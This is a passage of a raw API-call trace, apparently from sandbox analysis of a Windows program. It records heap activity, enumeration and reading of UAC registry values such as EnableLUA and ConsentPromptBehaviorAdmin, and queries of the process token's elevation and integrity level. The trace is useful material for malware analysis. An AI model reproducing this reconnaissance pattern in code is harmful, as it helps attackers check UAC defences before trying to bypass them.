returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb978 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc3f0 [0260.051] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb988 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc3a8 [0260.051] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x30) returned 0x1efb998 [0260.051] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb940) returned 1 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb940 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc360 [0260.051] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.051] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb950 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc318 [0260.052] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb9d0 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc2d0 [0260.052] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb9e0 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.052] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc240 [0260.052] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb998) returned 1 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb998 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.052] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efb9a8 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.052] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1e8 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.052] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1f8 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.052] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.052] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.052] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb878) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc438) returned 1 [0260.052] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb888) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc558) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb898) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc510) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb930) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc4c8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb860) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc480) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb968) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc3f0) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb978) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc3a8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb988) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc360) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb940) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc318) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb950) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc2d0) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb9d0) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb9e0) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb998) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1b0) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb9a8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc168) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd1e8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd1f8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc240 [0260.054] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0260.054] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x1efc240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x1efc240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.054] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x10) returned 0x1efd5e8 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1f8 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc0d8 [0260.054] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd1e8 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc240 [0260.054] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd208 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.054] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd218 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc168 [0260.054] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x20) returned 0x1efb860 [0260.054] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd228 [0260.054] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1b0 [0260.055] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd238 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc1f8 [0260.055] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd248 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.055] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd258 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc2d0 [0260.055] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x30) returned 0x1efb930 [0260.055] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb860) returned 1 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd268 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc318 [0260.055] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd278 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc360 [0260.055] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd288 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc3a8 [0260.055] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd298 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc3f0 [0260.055] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc480 [0260.055] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb930) returned 1 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2a8 [0260.055] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc4c8 [0260.056] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2b8 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc510 [0260.056] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2c8 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc558 [0260.056] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x8) returned 0x1efd2d8 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc438 [0260.056] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.056] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd1f8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd1e8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd208) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc168) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd218) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1b0) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd228) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc1f8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd238) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd248) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc2d0) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd258) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc318) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd268) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc360) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd278) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc3a8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd288) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc3f0) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd298) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc4c8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2a8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc510) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2b8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc558) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2c8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc438) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd2d8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc480) returned 1 [0260.057] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc480 [0260.057] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0260.057] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x1efc480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x1efc480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc480) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc5a0) returned 1 [0260.058] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb8a8) returned 1 [0260.058] RegCloseKey (hKey=0x34) returned 0x0 [0260.058] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x34) returned 1 [0260.058] GetTokenInformation (in: TokenHandle=0x34, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0260.058] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0x90) returned 1 [0260.058] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0260.058] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc5a0 [0260.058] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x1efc5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x1efc5a0, ReturnLength=0x18fbfc) returned 1 [0260.058] GetSidSubAuthorityCount (pSid=0x1efc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, 